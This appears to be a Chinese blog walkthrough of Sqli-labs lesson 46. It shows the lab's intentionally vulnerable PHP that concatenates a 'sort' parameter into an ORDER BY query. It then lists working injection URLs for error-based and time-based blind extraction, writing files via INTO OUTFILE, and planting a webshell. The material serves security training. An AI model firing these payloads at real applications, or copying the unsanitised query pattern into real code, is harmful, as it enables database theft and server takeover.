zoukankan      html  css  js  c++  java
  • SQL注入之Sqli-labs系列第四十六关(ORDER BY注入)

    0X1查看页面

    0x2源码

    <?php
    include("../sql-connections/sql-connect.php");
    $id=$_GET['sort'];    
    if(isset($id))
        {
        //logging the connection parameters to a file for analysis.
        $fp=fopen('result.txt','a');
        fwrite($fp,'SORT:'.$id."
    ");
        fclose($fp);
    
        $sql = "SELECT * FROM users ORDER BY $id";
        echo $sql . '<br>';
        $result = mysql_query($sql);
        if ($result)
            {
            ?>
            <center>
            <font color= "#00FF00" size="4">
            
            <table   border=1'>
            <tr>
                <th>&nbsp;ID&nbsp;</th>
                <th>&nbsp;USERNAME&nbsp;  </th>
                <th>&nbsp;PASSWORD&nbsp;  </th>
            </tr>
            </font>
            </font>
            <?php
            while ($row = mysql_fetch_assoc($result))
                {
                echo '<font color= "#00FF11" size="3">';        
                echo "<tr>";
                    echo "<td>".$row['id']."</td>";
                    echo "<td>".$row['username']."</td>";
                    echo "<td>".$row['password']."</td>";
                echo "</tr>";
                echo "</font>";
                }    
            echo "</table>";
            
            }
            else
            {
            echo '<font color= "#FFFF00">';
            print_r(mysql_error());
            echo "</font>";  
            }
        }    
        else
        {
            echo "Please input parameter as SORT with numeric value<br><br><br><br>";
            echo "<br><br><br>";
            echo '<img src="../images/Less-46.jpg" /><br>';
            echo "Lesson Concept and code Idea by <b>D4rk</b>";
        }
    ?>
    php源码

    0x3 ORDER BY 分析

    (1)首先看看本关sql语句

    $sql = "SELECT * FROM users ORDER BY $id";  

    在mysql中 order by 参数后可以加入升序和降序来改变排列顺序,

    (2)升降序尝试

    页面显示出不同的信息,证明存在sql注入,从页面中我们可以看出,注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,通过查询mysql帮助文档,可以在后面带入参数来进行注入

    0x4 思路分析

     (1)order by 后的数字可以作为一个注入点,构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

    http://192.168.232.135/sqli-labs/Less-46/?sort=right(database(),1)

    解释下:

    rigth函数:是返回右边结果的第一个字符

    mysql>seclet right('hello',1);
             >'o'

    left函数:是返回左边结果的第一个字符

    mysql>seclet left('hello',1);
             >'h'

    经过测试,两个函数在页面并没有任何的反应,证明数字并没有起作用,考虑下布尔类型。可以利用报错注入和延时注入。

    (2)直接在sort后面构造,形式存在几种

      直接添加注入语句

      利用函数(例如:rand 函数等)使用true和false看看结果

      利用and,例如?sort=1 and (加sql语句)。

    (3)报错注入实例

    floor函数:
    http://localhost/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)

    (4)延迟注入实例

    http://localhost/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as test)  
    http://localhost/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))  

    (4)procedure analyse参数注入

         利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

    http://localhost/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)  

    (5)导入导出文件into outfile参数

    http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "d:/1.txt"  

    (6)lines terminated by上传网马

    Into outtfile 文件地址 lines terminated by 0x(网马进行16进制转换)

    以上部分内容都是摘录,具体的都是经过了实例认证

  • 相关阅读:
    Atitti 图像处理 图像混合 图像叠加 blend 原理与实现
    Atitit Gaussian Blur 高斯模糊 的原理and实现and 用途
    Atitit 图像处理 灰度图片 灰度化的原理与实现
    Atitit (Sketch Filter)素描滤镜的实现  图像处理  attilax总结
    Atitit 实现java的linq 以及与stream api的比较
    Atitit attilax在自然语言处理领域的成果
    Atitit 图像处理 常用8大滤镜效果 Jhlabs 图像处理类库 java常用图像处理类库
    Atitit 图像处理--图像分类 模式识别 肤色检测识别原理 与attilax的实践总结
    Atitit apache 和guava的反射工具
    atitit。企业的价值观 员工第一 vs 客户第一.docx
  • 原文地址:https://www.cnblogs.com/AmoBlogs/p/8725258.html
Copyright © 2011-2022 走看看